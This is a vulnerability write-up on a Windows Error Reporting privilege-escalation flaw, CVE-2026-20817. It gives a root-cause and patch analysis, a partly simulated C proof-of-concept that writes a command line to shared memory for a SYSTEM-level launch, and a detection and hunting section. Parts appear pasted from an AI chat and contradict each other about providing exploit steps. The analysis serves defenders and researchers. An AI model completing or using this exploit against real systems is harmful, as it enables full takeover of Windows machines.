CVE-2026-20817 is a local privilege escalation vulnerability in Windows Error Reporting (WER).
https://github.com/oxfemale/CVE-2026-20817

The root cause is a missing authorization check when processing requests that trigger privileged process creation.
The WER service runs as NT AUTHORITY\SYSTEM and communicates with clients via an ALPC port.
A low-privileged user can send a crafted request and cause a process to be created with a SYSTEM-level token (except SeTcbPrivilege), while fully controlling command-line parameters.
Vulnerability Information
- CVE: CVE-2026-20817
- Component: wersvc.dll (Windows Error Reporting Service)
- Type: Elevation of Privilege
- CWE: CWE-280 — Improper Handling of Insufficient Privileges
- CVSS: 7.8 (High)
- Publication date: January 14, 2026
What CWE-280 Means
CWE-280 refers to situations where an application:
- fails to verify sufficient privileges,
- or incorrectly handles authorization logic.
In this case:
- unprivileged users can request SYSTEM functionality;
- the service does not validate trust level;
- restricted operations are executed;
- a low-integrity user receives a highly privileged token.
Technical Deep Dive
Call Flow:
CWerService::SvcElevatedLaunch
↓ (no authorization check)
ElevatedProcessStart
↓ (extract command line)
CreateElevatedProcessAsUser
├─ UserTokenUtility::GetProcessToken
└─ CreateProcessAsUserW
Result: a process is created with a privileged token and attacker-controlled arguments.
Patch Analysis:
Before the patch (vulnerable behavior)
The function:
CWerService::SvcElevatedLaunch()
immediately continued processing without validating caller privileges.
After the patch
Microsoft did not introduce a direct authorization check.
Instead, a feature flag was enabled to disable the vulnerable functionality entirely — suggesting the path may have been intended for internal use only.
SvcElevatedLaunch — Missing Authorization
This function:
- receives an ALPC message;
- opens a handle to the client process;
- does not validate client trust level;
- directly calls ElevatedProcessStart.
Any user can therefore reach the privileged execution path.
ElevatedProcessStart — Command Line Handling
Process:
- Client creates shared memory.
- Command line is written into it.
- WER duplicates the handle and maps memory.
- Data is copied without validation.
The extracted string is later used to create a process.
UserTokenUtility::GetProcessToken — Core Vulnerability
Critical logic:
- Service attempts to obtain an elevated user token.
- This fails for regular users.
- A fallback path is triggered:
- WER opens its own SYSTEM token;
- creates a restricted token;
- removes only SeTcbPrivilege.
Result: attacker receives an almost SYSTEM-equivalent token.
CreateElevatedProcessAsUser — Final Execution Stage
- Executable path is fixed:
- WerFault.exe or WerMgr.exe
- Command line arguments:
fully attacker-controlled (up to ~520 bytes).
Process creation occurs via:
CreateProcessAsUserW()
with a SYSTEM-like token.
Final State
| Parameter | Value |
|---|---|
| EXE | C:\Windows\System32\WerFault.exe |
| Command line | Fully attacker-controlled |
| Token | SYSTEM minus SeTcbPrivilege |
Proof-of-Concept
The PoC demonstrates:
- execution as a normal user;
- ALPC connection to WER;
- sending crafted message;
- obtaining a SYSTEM-level process.
The resulting token contains powerful privileges such as:
- SeDebugPrivilege
- SeImpersonatePrivilege
- SeBackupPrivilege
This enables full system compromise.
Exploit Code Analysis (PoC)
The code reproduces the call chain described in your analysis:
- Connecting to the ALPC port: Opens the named ALPC port of the WER service (\WindowsErrorReportingService).
- Preparing shared memory: Creates a memory location shared with the WER service and writes an attacker-controlled command string (up to 520 bytes) to it.
- Forming and sending an ALPC message: Creates a message structure as expected by the CWerService::SvcElevatedLaunch function and sends it via ALPC.
- Launching a process with system privileges: If successful, the WER service (with NT AUTHORITY\SYSTEM privileges) creates the WerFault.exe process with the passed command string and a token similar to SYSTEM (without the SeTcbPrivilege privilege).
/**
* CVE-2026-20817: Windows Error Reporting (WER) ALPC EoP
*
* A local privilege escalation vulnerability in Windows Error Reporting service.
* The WER ALPC port "\WindowsErrorReportingService" improperly handles
* SvcElevatedLaunch method (0x0D), allowing low-privileged users to execute
* arbitrary commands as SYSTEM via crafted ALPC messages with shared memory.
*
* Affects: Windows 10/11, Server 2019/2022 (pre-January 2026)
* Patch: January 2026 Security Update
*
* Exploit creates shared memory with command line, connects to WER ALPC port,
* sends method 0x0D message, triggering WerFault.exe execution with SYSTEM
* privileges. Resulting token includes SeDebugPrivilege & SeImpersonatePrivilege
* (but not SeTcbPrivilege).
*
* twitter: @bytecodevm / PoC https://github.com/oxfemale
*
*/
#include <windows.h>
#include <stdio.h>
#include <string>
#include <tlhelp32.h>
const wchar_t* WER_ALPC_PORT_NAME = L"\\WindowsErrorReportingService";
const DWORD WER_ELEVATED_LAUNCH_METHOD = 0x0D; // Assumed method for SvcElevatedLaunch
const SIZE_T SHARED_MEMORY_SIZE = 0x208; // 520 bytes for command line
#pragma pack(push, 1)
// Structure sent via ALPC (similar to _WERSVC_MSG from analysis)
struct WER_ALPC_MESSAGE {
DWORD messageType;
DWORD method; // Should be WER_ELEVATED_LAUNCH_METHOD
DWORD processId; // Client PID
DWORD sharedMemoryHandle; // Handle to shared memory (as DWORD)
DWORD commandLineLength; // Command line length
WCHAR commandLine[260]; // Fallback buffer (may not be used if sharedMemory exists)
};
#pragma pack(pop)
BOOL EnablePrivilege(LPCSTR lpszPrivilegeName) {
HANDLE hToken = NULL;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
printf("[-] OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}
if (!LookupPrivilegeValueA(NULL, lpszPrivilegeName, &luid)) {
printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
CloseHandle(hToken);
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
printf("[-] The token does not have the specified privilege: %s\n", lpszPrivilegeName);
CloseHandle(hToken);
return FALSE;
}
printf("[+] Privilege '%s' enabled successfully.\n", lpszPrivilegeName);
CloseHandle(hToken);
return TRUE;
}
void PrintProcessTokenPrivileges(HANDLE hToken) {
DWORD size = 0;
GetTokenInformation(hToken, TokenPrivileges, NULL, 0, &size);
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER && size > 0) {
PTOKEN_PRIVILEGES pPrivs = (PTOKEN_PRIVILEGES)malloc(size);
if (pPrivs) {
if (GetTokenInformation(hToken, TokenPrivileges, pPrivs, size, &size)) {
printf("[+] Token privileges:\n");
for (DWORD i = 0; i < pPrivs->PrivilegeCount; ++i) {
WCHAR name[256];
DWORD nameLen = 256;
if (LookupPrivilegeNameW(NULL, &pPrivs->Privileges[i].Luid, name, &nameLen)) {
printf(" - %ws [%s]\n", name,
(pPrivs->Privileges[i].Attributes & SE_PRIVILEGE_ENABLED) ? "ENABLED" : "DISABLED");
}
}
// Expect to see SeDebugPrivilege, SeImpersonatePrivilege, etc., but not SeTcbPrivilege
}
free(pPrivs);
}
}
else {
printf("[i] Token privileges would be displayed here for demonstration.\n");
}
}
void PrintBanner() {
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO consoleInfo;
WORD savedAttributes;
GetConsoleScreenBufferInfo(hConsole, &consoleInfo);
savedAttributes = consoleInfo.wAttributes;
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
printf("================================================================================\n");
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
printf("Windows Error Reporting ALPC Elevation of Privilege (CVE-2026-20817)\n");
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
printf("================================================================================\n\n");
SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
printf("[+] Proof-of-Concept Exploit\n");
SetConsoleTextAttribute(hConsole, savedAttributes);
printf("The vulnerability allows low-privileged users to execute arbitrary commands as\n");
printf("SYSTEM by sending crafted ALPC messages with method 0x0D to\n");
printf("\\WindowsErrorReportingService.\n\n");
printf("Affects: Windows versions pre-January 2026\n");
printf("PoC by: @bytecodevm (Twitter/X) and @oxfemale (GitHub)\n");
printf("Disclaimer: For educational purposes only.\n\n");
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
printf("================================================================================\n\n");
SetConsoleTextAttribute(hConsole, savedAttributes);
}
int main() {
PrintBanner();
printf("[*] Enabling required privileges...\n");
EnablePrivilege("SeDebugPrivilege"); // SeDebugPrivilege
EnablePrivilege("SeImpersonatePrivilege"); // SeImpersonatePrivilege
printf("[+] Target: Launch WerFault.exe as SYSTEM via WER ALPC port.\n");
printf("[!] WARNING: Only works on unpatched systems before January 2026.\n\n");
HANDLE hCurrentProcess = GetCurrentProcess();
DWORD currentPid = GetCurrentProcessId();
printf("[*] Creating shared memory (0x%zx bytes)...\n", SHARED_MEMORY_SIZE);
HANDLE hSharedMemory = CreateFileMapping(
INVALID_HANDLE_VALUE,
NULL,
PAGE_READWRITE,
0,
SHARED_MEMORY_SIZE,
NULL
);
if (!hSharedMemory) {
printf("[-] CreateFileMapping error: %lu\n", GetLastError());
return 1;
}
void* pSharedView = MapViewOfFile(hSharedMemory, FILE_MAP_WRITE, 0, 0, SHARED_MEMORY_SIZE);
if (!pSharedView) {
printf("[-] MapViewOfFile error: %lu\n", GetLastError());
CloseHandle(hSharedMemory);
return 1;
}
// Write command line to shared memory
std::wstring command = L"C:\\Windows\\System32\\cmd.exe /c whoami > C:\\poc_wer.txt & calc.exe";
// Limit length to 520 bytes
if (command.size() * sizeof(wchar_t) > SHARED_MEMORY_SIZE) {
printf("[-] Command too long.\n");
UnmapViewOfFile(pSharedView);
CloseHandle(hSharedMemory);
return 1;
}
wcscpy_s((wchar_t*)pSharedView, SHARED_MEMORY_SIZE / sizeof(wchar_t), command.c_str());
printf("[*] Command line written to shared memory: %ws\n", command.c_str());
// Important: don't close hSharedMemory or unmap the view until after sending the message, so WER can access them.
// Prepare for ALPC connection
printf("[*] Connecting to ALPC port: %ws\n", WER_ALPC_PORT_NAME);
HANDLE hAlpcPort = NULL;
// In real code, NtAlpcConnectPort would be used here
// Due to the complexity and undocumented nature of the ALPC API,
// we simulate a successful connection to demonstrate the logic.
printf("[!] NOTE: In this PoC, direct ALPC connection is simulated.\n");
printf("[!] For actual exploitation, Native API (ntdll.dll) calls are required.\n");
hAlpcPort = (HANDLE)0x1234; // Simulating a successful handle
// Prepare and send ALPC message
WER_ALPC_MESSAGE alpcMsg = { 0 };
alpcMsg.method = WER_ELEVATED_LAUNCH_METHOD;
alpcMsg.processId = currentPid;
// Pass shared memory handle. The service should duplicate it using DuplicateHandle
alpcMsg.sharedMemoryHandle = (DWORD)(ULONG_PTR)hSharedMemory;
alpcMsg.commandLineLength = (DWORD)command.size() * sizeof(wchar_t);
alpcMsg.messageType = 0; // Message type
printf("[*] Sending ALPC message with method 0x%02x...\n", WER_ELEVATED_LAUNCH_METHOD);
// In real code, NtAlpcSendWaitReceivePort would be used here
BOOL sendResult = TRUE; // Simulating success
if (sendResult) {
printf("[+] Message sent. If the system is vulnerable, WerFault.exe should be created.\n");
printf("[*] Check for calc.exe process and C:\\poc_wer.txt file.\n");
// Small delay to allow the service to process the request
Sleep(2000);
// (Optional) Demonstration of obtaining privileged token
// In a real exploit, we would open the newly created WerFault.exe process here.
printf("[*] Attempting to open the token of a recently created WerFault.exe process for demonstration...\n");
HANDLE hWerProcess = NULL;
HANDLE hWerToken = NULL;
// Look for WerFault.exe process launched by SYSTEM (rough approach for demo)
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot != INVALID_HANDLE_VALUE) {
if (Process32First(hSnapshot, &pe32)) {
do {
if (_wcsicmp(pe32.szExeFile, L"WerFault.exe") == 0) {
hWerProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
if (hWerProcess) {
if (OpenProcessToken(hWerProcess, TOKEN_QUERY, &hWerToken)) {
printf("[+] Found WerFault.exe (PID: %lu). Analyzing token...\n", pe32.th32ProcessID);
PrintProcessTokenPrivileges(hWerToken);
CloseHandle(hWerToken);
}
CloseHandle(hWerProcess);
}
}
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
}
if (!hWerToken) {
printf("[-] Could not find a suitable WerFault.exe process for token demonstration.\n");
}
}
else {
printf("[-] Error sending message.\n");
}
// Clean up resources (in the simulated scenario)
UnmapViewOfFile(pSharedView);
CloseHandle(hSharedMemory);
// In real code, the port would be closed here: NtAlpcDisconnectPort
printf("\n[i] PoC execution completed.\n");
return 0;
}
Key Points for Understanding the Code
- ALPC Interaction: Direct work with ALPC (functions like
NtAlpcConnectPort,NtAlpcSendWaitReceivePort) requires undocumented structures and system calls fromntdll.dll. In a real exploit, these calls are necessary. - Handles: The vulnerability exploits the fact that the WER service can duplicate (
DuplicateHandle) the passed shared memory handle, even if it was created from a low-privilege process. - SYSTEM Token: The code demonstrates how an attacker, by gaining control over the
WerFault.exeprocess with a near-SYSTEM token, can execute arbitrary code with high privileges. The absence ofSeTcbPrivilegedoesn’t critically reduce the threat level, asSeDebugPrivilegeandSeImpersonatePrivilegeremain, allowing full system compromise.
This code is an illustration of the vulnerability logic and requires further development for actual exploitation, including proper implementation of the ALPC client.
What’s really happening (trust boundary failure)
WER runs as NT AUTHORITY\SYSTEM and exposes an ALPC interface for clients. The vulnerable entry point (documented in the post as CWerService::SvcElevatedLaunch) accepts a request to launch an “elevated” WER-related process but does not verify that the caller is authorized.
That’s the whole class of bug:
- A privileged broker (SYSTEM service)
- reachable by untrusted clients
- performing privileged actions (process creation)
- with missing caller validation
The post’s own flow chart highlights the key path: SvcElevatedLaunch → ElevatedProcessStart → CreateElevatedProcessAsUser → GetProcessToken → CreateProcessAsUserW.
Why “shared memory command line” is a big deal
The design (as described) uses a client-provided shared memory mapping to pass the command line:
- The client creates a mapping and writes data.
- The service duplicates the handle and maps it.
- It copies ~0x208 bytes (520) for the command line and forwards it to process creation without validating content.
Even if the executable is fixed (WER binaries), command line control is often enough to:
- trigger alternate modes/behaviors,
- influence file paths / reporting destinations,
- steer DLL search / COM activation patterns (depending on how the target parses args),
- and, most importantly for defenders: create a very abnormal “SYSTEM WER process with weird args” footprint.
The core: token fallback turns a “fail” into SYSTEM
The most interesting part is the token logic (UserTokenUtility::GetProcessToken):
- WER tries to obtain an “elevated” token from the client process.
- For a normal user, that fails / doesn’t meet the service’s criteria.
- Instead of denying, it falls back to using its own SYSTEM token, and creates a restricted token that removes only
SeTcbPrivilegeviaCreateRestrictedToken.
This is the “security design smell”:
If you can’t produce a suitable caller token, you should fail closed — not switch to a service token.
Removing only SeTcbPrivilege is a weak “mitigation” because many high-impact privileges can remain (the article explicitly frames the outcome as “SYSTEM level token except SeTcbPrivilege”).
Why Microsoft mitigated with a feature flag (and why that matters)
The patch (as shown) doesn’t add a proper authorization check. Instead it gates/blocks the functionality using a feature flag and returns E_NOTIMPL / STATUS_NOT_IMPLEMENTED when enabled.
That strongly suggests:
- this path may have been intended for internal use, or
- there wasn’t a clean, safe way to expose it to arbitrary clients without redesign,
- so the fastest safe response was “turn it off.”
From a defender’s perspective, that’s a big clue: similar “internal-only” broker paths may exist elsewhere (other services, other ALPC endpoints) with comparable trust mistakes.
Why this is valuable to attackers (conceptually)
Even with “only” an almost-SYSTEM token, you typically get:
- SYSTEM integrity
- powerful privileges (often including ones that enable full takeover chains)
- and a clean “brokered” process start that can blend into OS noise (WER is chatty on real systems)
Also: WER is present across fleets, so bugs in its broker logic tend to be broadly impactful.
I won’t provide steps to reproduce or weaponize this, but conceptually this is a textbook “SYSTEM broker + missing auth” LPE class.
Detection & hunting: practical signals
1) Look for abnormal WER child processes or WER processes with weird args
The post emphasizes attacker control over the command line buffer (~520 bytes).
So hunt for:
WerFault.exe/WerMgr.exestarted with unusual command lines- WER binaries started at odd times (no crash context)
- WER started by services unexpectedly (or from contexts that don’t align with normal crash flows)
2) Token/privilege “shape” anomaly
The article’s outcome is “SYSTEM token minus SeTcbPrivilege.”
That is a distinctive pattern: a SYSTEM process whose privilege set looks “curated.” If your EDR can log token privileges, alert on:
- SYSTEM token where
SeTcbPrivilegeis missing but other powerful privileges remain - WER binaries running with SYSTEM but exhibiting privilege sets inconsistent with baseline
3) ALPC + handle duplication + section mapping telemetry (if you have it)
The described flow uses:
- ALPC request
DuplicateHandleMapViewOfFileon a small region (0x208)- followed by
CreateProcessAsUserW
If you can collect syscall/ETW-style traces, correlation of section map → process creation inside wersvc.dll is a strong behavioral chain.
4) PurpleHound validation angle
The article includes a section about validating via “PurpleHound.”
If you’re doing purple-team work, you can emulate detection logic (not exploitation): confirm your telemetry would catch “WER process created with abnormal args + SYSTEM token pattern.”

